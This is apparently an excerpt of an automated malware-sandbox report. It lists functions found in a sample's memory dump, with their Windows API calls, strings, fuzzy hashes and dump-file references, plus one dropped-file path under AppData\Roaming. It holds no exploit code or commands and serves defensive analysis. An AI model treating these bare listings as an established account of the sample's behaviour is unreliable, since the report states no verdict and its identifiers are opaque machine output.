Instruction ID: 1387e7aa76efd678b84ce07e1685f2fa267692da5d031eee18f52c536f773d7d
Opcode Fuzzy Hash: aab6084c32e67cab8a38e491f8e282013bf2e01b8cbd6436e29e8fe851f2c809
Instruction Fuzzy Hash: AD51D4B1A0060CDBCB248FA988446BFB7B5AF40324F249669E635B71D1E370DE50DB54

Uniqueness

Uniqueness Score: -1.00%

Function 00EF14F7, Relevance: 6.0, APIs: 4, Instructions: 41COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 00EF1511

Part of subcall function 00EF34DB: __FF_MSGBANNER.LIBCMT ref: 00EF34F4
Part of subcall function 00EF34DB: __NMSG_WRITE.LIBCMT ref: 00EF34FB
Part of subcall function 00EF34DB: RtlAllocateHeap.NTDLL(00000000,00000001,00000001,00000000,00000000,?,00EF6A35,?,00000001,?,?,00EF8179,00000018,00F6D180,0000000C,00EF8209), ref: 00EF3520

std::exception::exception.LIBCMT ref: 00EF1546
std::exception::exception.LIBCMT ref: 00EF1560
__CxxThrowException@8.LIBCMT ref: 00EF1571

Memory Dump Source

Source File: 00000001.00000002.685525904.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000001.00000002.685520005.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685673321.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685696773.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685703287.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.685712720.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685725786.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685734924.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: std::exception::exception$AllocateException@8HeapThrow_malloc
String ID:
API String ID: 615853336-0
Opcode ID: 9d66c6d411d5fbd5f0f9610bb1b0e66872e2d29bfb79723a463c22f34e350e43
Instruction ID: 471d0ac88e3856aa53cf8376f60ee9978f64faf1438229d55275e81c0935bdd9
Opcode Fuzzy Hash: 9d66c6d411d5fbd5f0f9610bb1b0e66872e2d29bfb79723a463c22f34e350e43
Instruction Fuzzy Hash: DDF0287150050DEBDB24FFA4DC029BE3AE9AB80704F501099F605F61D2CBB1CF44AB82

Uniqueness

Uniqueness Score: -1.00%

Function 00EE2AB0, Relevance: 5.7, APIs: 2, Strings: 1, Instructions: 463COMMON

Download Yara Rule

Strings

I', xrefs: 00EE2B09, 00EE2B3F, 00EE2D2F, 00EE2E04, 00EE2D02, 00EE2E62, 00EE2E45, 00F07F71, 00EE2EA5, 00F07FB3, 00EE2C81, 00EE2B33, 00F07FEF

Memory Dump Source

Source File: 00000001.00000002.685525904.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000001.00000002.685520005.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685673321.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685696773.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685703287.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.685712720.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685725786.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685734924.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: std::exception::exception$Exception@8Throw_malloc
String ID: I'
API String ID: 2388904642-3658985593
Opcode ID: b17351c498b00a11ddb0ed0d37eb403488e1f17f63bbf4a8d29f2f3e2b4cb1ea
Instruction ID: 17d0135aa17c24274f03d06aa7da63bb08e2ba7b9fdb70d0c125dadc0f8a15f1
Opcode Fuzzy Hash: b17351c498b00a11ddb0ed0d37eb403488e1f17f63bbf4a8d29f2f3e2b4cb1ea
Instruction Fuzzy Hash: 68F1B275D0028D9BCF14EF55C8819EEB3B9EF44300F206469EA15BB261DB35EE42DB91

Uniqueness

Uniqueness Score: -1.00%

Function 00EEF490, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 86COMMON

Download Yara Rule

Strings

C:\Users\user\AppData\Roaming\22032878\xaso.fhr, xrefs: 00EEF49D
?T, xrefs: 00EEF522

Memory Dump Source

Source File: 00000001.00000002.685525904.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000001.00000002.685520005.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685673321.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685696773.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685703287.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.685712720.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685725786.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685734924.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: _memset$ByteCharMultiWide$_sprintf_strlen_wcslen
String ID: C:\Users\user\AppData\Roaming\22032878\xaso.fhr$?T
API String ID: 3898977315-2631398169
Opcode ID: a4f12f10d4454c19477842bf41a2466ec4d7876c98ae71080dc1032fd2f375c1
Instruction ID: dcb62275739493e80b7d7a38f3d1f05bae5d2c4ad2ab38ba4b87306158484bf2
Opcode Fuzzy Hash: a4f12f10d4454c19477842bf41a2466ec4d7876c98ae71080dc1032fd2f375c1
Instruction Fuzzy Hash: EC2147B2A042446BD714EF749C82A6FF2D8AF85310F10993AF655D22C2EB38E9449792

Uniqueness

Uniqueness Score: -1.00%

Function 00EEF1D0, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 52COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00F09558
GetOpenFileNameW.COMDLG32(?,?,?,00000001), ref: 00F0959F

Part of subcall function 00EEF220: GetFullPathNameW.KERNEL32(00000000,00000104,C:\Users\user\AppData\Roaming\22032878\xaso.fhr,00EEF1F5,C:\Users\user\AppData\Roaming\22032878\xaso.fhr,00F890E8,C:\Users\user\AppData\Roaming\22032878\xaso.fhr,?,00EEF1F5,?,?,00000001), ref: 00EEF23C

Part of subcall function 00EEF3B0: SHGetMalloc.SHELL32(00EEF1FC), ref: 00EEF3BD
Part of subcall function 00EEF3B0: SHGetDesktopFolder.SHELL32(?,00F890E8), ref: 00EEF3D2
Part of subcall function 00EEF3B0: _wcsncpy.LIBCMT ref: 00EEF3ED
Part of subcall function 00EEF3B0: SHGetPathFromIDListW.SHELL32(?,?), ref: 00EEF427
Part of subcall function 00EEF3B0: _wcsncpy.LIBCMT ref: 00EEF440

Part of subcall function 00EEF290: GetFullPathNameW.KERNEL32(?,00000104,?,?,?), ref: 00EEF2AB

Strings

X, xrefs: 00F09564

Memory Dump Source

Source File: 00000001.00000002.685525904.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000001.00000002.685520005.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685673321.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685696773.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685703287.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.685712720.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685725786.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685734924.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: NamePath$Full_wcsncpy$DesktopFileFolderFromListMallocOpen_memset
String ID: X
API String ID: 2873425188-3081909835
Opcode ID: a2b77c6468c16af7fb4d223fe8fe46a64fac47b17dd9d1b2612a96f064747267
Instruction ID: 83babdc0b7de8b1e9c67ab444bfbab225c409b62175e87c469a86e372c3f7cd2
Opcode Fuzzy Hash: a2b77c6468c16af7fb4d223fe8fe46a64fac47b17dd9d1b2612a96f064747267
Instruction Fuzzy Hash: 8F11A9B0A0028C9BDB01DFD9DC457EEBBF96F89304F145119E514BB292D7F41445DBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00EE1D10, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00EE1D11

Part of subcall function 00EF14F7: _malloc.LIBCMT ref: 00EF1511

_memmove.LIBCMT ref: 00EE1D57

Part of subcall function 00EF14F7: std::exception::exception.LIBCMT ref: 00EF1546
Part of subcall function 00EF14F7: std::exception::exception.LIBCMT ref: 00EF1560
Part of subcall function 00EF14F7: __CxxThrowException@8.LIBCMT ref: 00EF1571

Strings

@EXITCODE, xrefs: 00EE1D10, 00EE1D53

Memory Dump Source

Source File: 00000001.00000002.685525904.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000001.00000002.685520005.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685673321.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685696773.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685703287.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.685712720.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685725786.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685734924.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: std::exception::exception$Exception@8Throw_malloc_memmove_wcslen
String ID: @EXITCODE
API String ID: 2734553683-3436989551
Opcode ID: 2e4067a483fc2459a1b3f0e0f0c393d559d3f47989546ec9ecea7a1d84fb9087
Instruction ID: 21fbe2d87b71fcb704057a825a739e0480e533b6195070628c1e969c14b721b1
Opcode Fuzzy Hash: 2e4067a483fc2459a1b3f0e0f0c393d559d3f47989546ec9ecea7a1d84fb9087
Instruction Fuzzy Hash: 33F0CDF2A0028A9FC350DB74CC02B3776D49B84300F04C86CA18AC7781FA79E4829B20

Uniqueness

Uniqueness Score: -1.00%

Function 00F1297C, Relevance: 4.6, APIs: 3, Instructions: 58COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 00F12991
MultiByteToWideChar.KERNEL32(00000000,00000001,?,00F34515,00000000,00000000,?,?,?,00F34515,?,000000FF), ref: 00F129A6
MultiByteToWideChar.KERNEL32(00000000,00000001,00000000,00F34515,00000000,00000000,000000FF), ref: 00F129E5

Memory Dump Source

Source File: 00000001.00000002.685525904.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000001.00000002.685520005.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685673321.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685696773.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685703287.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.685712720.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685725786.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685734924.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: ByteCharMultiWide$_strlen
String ID:
API String ID: 1433632580-0
Opcode ID: 60ace609bb75457337f4f0d63535269c0e483182d12e12977d106b88e8dae924
Instruction ID: 7587fbb431a954dbdd34100747a83cd942aa1d361373c7208d89d71be0be0afc
Opcode Fuzzy Hash: 60ace609bb75457337f4f0d63535269c0e483182d12e12977d106b88e8dae924
Instruction Fuzzy Hash: 4B01F7377401083BD75056AC9C86FEBB79CDBC5B70F050125FB1CDB2D0E9A1A84052A0

Uniqueness

Uniqueness Score: -1.00%

Function 00EEFE20, Relevance: 4.6, APIs: 3, Instructions: 58COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00EEFE35
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,?,00000000,00000000,00000000,00000000,?,?,?,00F343ED,?,00000000,?,?), ref: 00EEFE4E
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,?,?,00000000,?,?,?,?), ref: 00EEFE77

Memory Dump Source

Source File: 00000001.00000002.685525904.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000001.00000002.685520005.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685673321.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685696773.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685703287.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.685712720.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685725786.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685734924.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: ByteCharMultiWide$_wcslen
String ID:
API String ID: 2761822629-0
Opcode ID: a7ae1d1bde5e75c43f902a799993db68cdcb33e9b88f8351ecbd8a4d1b701175
Instruction ID: a70a1c94b620fae322f9bfebc3b62a26329cc1f0369523af71f0d4e4ee18fa96
Opcode Fuzzy Hash: a7ae1d1bde5e75c43f902a799993db68cdcb33e9b88f8351ecbd8a4d1b701175
Instruction Fuzzy Hash: 4901D672B4424C76E63059AA6C06F67B29CCBC6B31F2402B6FF18F61E1E5E1AC0051A5

Uniqueness

Uniqueness Score: -1.00%

Function 00EEF180, Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 246COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00F09524

Part of subcall function 00EE35F0: GetCurrentDirectoryW.KERNEL32(00000104,?,?), ref: 00EE3681
Part of subcall function 00EE35F0: GetFullPathNameW.KERNEL32(?,00000104,?,?), ref: 00EE3697
Part of subcall function 00EE35F0: __wsplitpath.LIBCMT ref: 00EE36C2
Part of subcall function 00EE35F0: _wcscpy.LIBCMT ref: 00EE36D7
Part of subcall function 00EE35F0: _wcscat.LIBCMT ref: 00EE36EC
Part of subcall function 00EE35F0: SetCurrentDirectoryW.KERNELBASE(?), ref: 00EE36FC

Strings

C:\Users\user\AppData\Roaming\22032878\xaso.fhr, xrefs: 00EEF188, 00EEF18B, 00EEF1B5, 00EEF1B7

Memory Dump Source

Source File: 00000001.00000002.685525904.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000001.00000002.685520005.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685673321.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685696773.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685703287.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.685712720.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685725786.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685734924.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: CurrentDirectory$FullNamePath__wsplitpath_free_wcscat_wcscpy
String ID: C:\Users\user\AppData\Roaming\22032878\xaso.fhr
API String ID: 2744521063-776828797
Opcode ID: 3b0267c552a468a4e4967b36da994fb94b4cc17504a24fcc02d369cc1b59be42
Instruction ID: 72908069955733fb42d9f916dcaba2415c5280803473f0d64bc255ddb6496fc3
Opcode Fuzzy Hash: 3b0267c552a468a4e4967b36da994fb94b4cc17504a24fcc02d369cc1b59be42
Instruction Fuzzy Hash: 47919071D0425D9BCF04DFA4CC819EE77B9FF48310F108529E915AB282E774E905EBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00EE3B40, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 52fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(00000000,?,00010000,?,00000000,?,?), ref: 00EE3B92

Strings

<, xrefs: 00EE3B62

Memory Dump Source

Source File: 00000001.00000002.685525904.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000001.00000002.685520005.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685673321.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685696773.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685703287.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.685712720.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685725786.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685734924.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: FileRead
String ID: <
API String ID: 2738559852-469850710
Opcode ID: 177484352e2c9c22e13b154279b1835f8d0a2bf43e6127b8418ecfbb5bdf0815
Instruction ID: f75af210f331260be5cd7403fe594e3b2adc8d789d594d8d72c155816e2bfb90
Opcode Fuzzy Hash: 177484352e2c9c22e13b154279b1835f8d0a2bf43e6127b8418ecfbb5bdf0815
Instruction Fuzzy Hash: 5F116670600B449FD320CF26C888B67B7F8EB40740F108A1EE4AA97A50D770EE45CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00EEB1F0, Relevance: 3.3, APIs: 2, Instructions: 258COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 00F0D1B8

Memory Dump Source

Source File: 00000001.00000002.685525904.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000001.00000002.685520005.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685673321.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685696773.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685703287.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.685712720.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685725786.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685734924.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: ClearVariant
String ID:
API String ID: 1473721057-0
Opcode ID: 6821778ac23b8090708962f6eaebeb56f375159be6f13e1d9169a6941e6e3e18
Instruction ID: 7a8ba5f78c419a5b26623a44a3e8d32dd3d81227b154a35e7bd6fcd00e72ad6f
Opcode Fuzzy Hash: 6821778ac23b8090708962f6eaebeb56f375159be6f13e1d9169a6941e6e3e18
Instruction Fuzzy Hash: E991CF70A00248DFDB10DFA9C8C2AAEB3F5EF09314F24C459E815AB295DB71EC41DB62

Uniqueness

Uniqueness Score: -1.00%

Function 00EEC440, Relevance: 3.2, APIs: 2, Instructions: 156COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.685525904.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000001.00000002.685520005.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685673321.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685696773.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685703287.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.685712720.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685725786.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685734924.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bf8650251fd6e8b3f8719f8c3f1bbd33aa13fd4ad03b92940342c50973995fb9
Instruction ID: 8b5cd2ee76777a4cd1ed469cc29bc69cd969f65687564f473e3f4beb765e6d8e
Opcode Fuzzy Hash: bf8650251fd6e8b3f8719f8c3f1bbd33aa13fd4ad03b92940342c50973995fb9
Instruction Fuzzy Hash: AC51C571A04249ABDB24DF65C881EBFB7F8AF44300F149059F919AB282E779ED81D790

Uniqueness

Uniqueness Score: -1.00%

Function 00F46C11, Relevance: 3.1, APIs: 2, Instructions: 130COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00F46CCB
_memmove.LIBCMT ref: 00F46CF6

Memory Dump Source

Source File: 00000001.00000002.685525904.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000001.00000002.685520005.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685673321.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685696773.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685703287.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.685712720.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685725786.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685734924.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: _memmove
String ID:
API String ID: 4104443479-0
Opcode ID: 7f37088e1d2dbaac840189b2fbe509007afc7c98d0cd9b4c7f86482b122f13f1
Instruction ID: 664cabe0f6e71d27bfc377ccf396429e74fdbe9f144bb9351d8260221b5fc7ee
Opcode Fuzzy Hash: 7f37088e1d2dbaac840189b2fbe509007afc7c98d0cd9b4c7f86482b122f13f1
Instruction Fuzzy Hash: C141C8B5D00148EFCB10EF94D8C1BAA7BB4EF86310F148094FE59AB341D639A946D7A2

Uniqueness

Uniqueness Score: -1.00%

Function 00EEBFD0, Relevance: 3.1, APIs: 2, Instructions: 93COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00EEC01D
_memmove.LIBCMT ref: 00EEC09C

Memory Dump Source

Source File: 00000001.00000002.685525904.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000001.00000002.685520005.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685673321.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685696773.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685703287.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.685712720.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685725786.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685734924.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: _memmove
String ID:
API String ID: 4104443479-0
Opcode ID: 446f979d8975dc5b14e80a7db2099598e0c625c053a64bc68ff4ac78c3afc0df
Instruction ID: 29ece3709bc0d138e511babfbf11b8c924123f51a72773dbf326534925642b54
Opcode Fuzzy Hash: 446f979d8975dc5b14e80a7db2099598e0c625c053a64bc68ff4ac78c3afc0df
Instruction Fuzzy Hash: 21319371600649DFC324DF6DCC81A67B3E9EF84314B24866EE85AC7751EB71E942CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00EED8B0, Relevance: 3.1, APIs: 2, Instructions: 74COMMON

Download Yara Rule

APIs

SystemParametersInfoW.USER32 ref: 00EED979
FreeLibrary.KERNEL32(?), ref: 00EED98E

Memory Dump Source

Source File: 00000001.00000002.685525904.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000001.00000002.685520005.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685673321.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685696773.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685703287.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.685712720.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685725786.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685734924.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: FreeInfoLibraryParametersSystem
String ID:
API String ID: 3403648963-0
Opcode ID: 4f63e889f0439415d397e3b5d06149129979d01ae29adfeb217375fec3b3f283
Instruction ID: 28c5000376f4b37be2442ee92fd08d7e7a241a10ecf6d93c10678ab132dd60d1
Opcode Fuzzy Hash: 4f63e889f0439415d397e3b5d06149129979d01ae29adfeb217375fec3b3f283
Instruction Fuzzy Hash: A621BFB19083489FC300EF1ADC8186ABBE4FB88314F44592DF848A3362D771DA45DB93

Uniqueness

Uniqueness Score: -1.00%

Function 00F3411D, Relevance: 3.1, APIs: 2, Instructions: 57COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,?,00000000,00000000,00000000,00000000,?,?,?,00F48121,00F4EF44,?,?,?), ref: 00F3413C
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,00000000,?,00000000,00000000,00000000,00000000,?,?,?,?,?,?,?,00F4EF44), ref: 00F34177

Memory Dump Source

Source File: 00000001.00000002.685525904.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000001.00000002.685520005.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685673321.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685696773.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685703287.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.685712720.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685725786.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685734924.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: ByteCharMultiWide
String ID:
API String ID: 626452242-0
Opcode ID: 6539a149ecc0e368b1746ee0e94945e4a3769b5444de08d32aa984249e13242c
Instruction ID: 5efb3c7974eeec0c97e54afaf84e3d66818e31f78e63a1ec62c7d63b85693826
Opcode Fuzzy Hash: 6539a149ecc0e368b1746ee0e94945e4a3769b5444de08d32aa984249e13242c
Instruction Fuzzy Hash: 060186763802487FE220B6A9AC86F67779CEB95B64F108025FB18DF2C1C5B0F800D675

Uniqueness

Uniqueness Score: -1.00%

Function 00EE3C80, Relevance: 3.1, APIs: 2, Instructions: 56COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00EE3CB3
_wcscpy.LIBCMT ref: 00EE3CD3

Part of subcall function 00EF14F7: _malloc.LIBCMT ref: 00EF1511

Memory Dump Source

Source File: 00000001.00000002.685525904.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000001.00000002.685520005.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685673321.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685696773.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685703287.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.685712720.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685725786.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685734924.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: _malloc_wcscpy_wcslen
String ID:
API String ID: 245337311-0
Opcode ID: a49b4b8a83bb20a1249722968fadfeede3494141c5973e896e877a657abb9734
Instruction ID: 94690ca8ac8020455742699b4ea88b1acd770e910876c1c765e42021372f34c6
Opcode Fuzzy Hash: a49b4b8a83bb20a1249722968fadfeede3494141c5973e896e877a657abb9734
Instruction Fuzzy Hash: A61188B4500688DFD324DF69C442E22F7E4EF84311F14D86EE96A9BB91D635E841CF50

Uniqueness

Uniqueness Score: -1.00%

Function 00EF07A0, Relevance: 3.1, APIs: 2, Instructions: 51fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(?,80000000,00000007,00000000,00000003,00000080,00000000,?,00EEE094,?,00000001,?,00EE3653,?), ref: 00EF07CA
CreateFileW.KERNELBASE(?,C0000000,00000007,00000000,00000004,00000080,00000000,?,00EEE094,?,00000001,?,00EE3653,?), ref: 00F06296

Memory Dump Source

Source File: 00000001.00000002.685525904.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000001.00000002.685520005.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685673321.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685696773.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685703287.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.685712720.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685725786.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685734924.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 95c5425404d1f366b869c06ca0ec4c5654fcf4ec7d6037bbdb53c247ac28a8e7
Instruction ID: 3b02891b4ada064c228568876389a2bcfc80ffe7d1991f11673f99dd5febdd2b
Opcode Fuzzy Hash: 95c5425404d1f366b869c06ca0ec4c5654fcf4ec7d6037bbdb53c247ac28a8e7
Instruction Fuzzy Hash: E1013C30785708BAF6753E289C4BF613690AB45B24F204756B7E5FE1E2D2F478829A44

Uniqueness

Uniqueness Score: -1.00%

Function 00EE16A0, Relevance: 3.0, APIs: 2, Instructions: 50COMMON

Download Yara Rule

APIs

GetFullPathNameW.KERNEL32(?,00000104,?,?), ref: 00EE16E5

Part of subcall function 00EE2390: _wcslen.LIBCMT ref: 00EE239D
Part of subcall function 00EE2390: _memmove.LIBCMT ref: 00EE23C3

_wcscat.LIBCMT ref: 00F08BC8

Memory Dump Source

Source File: 00000001.00000002.685525904.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000001.00000002.685520005.0000000000EE0000.00000002.00020000.sdmp Download File
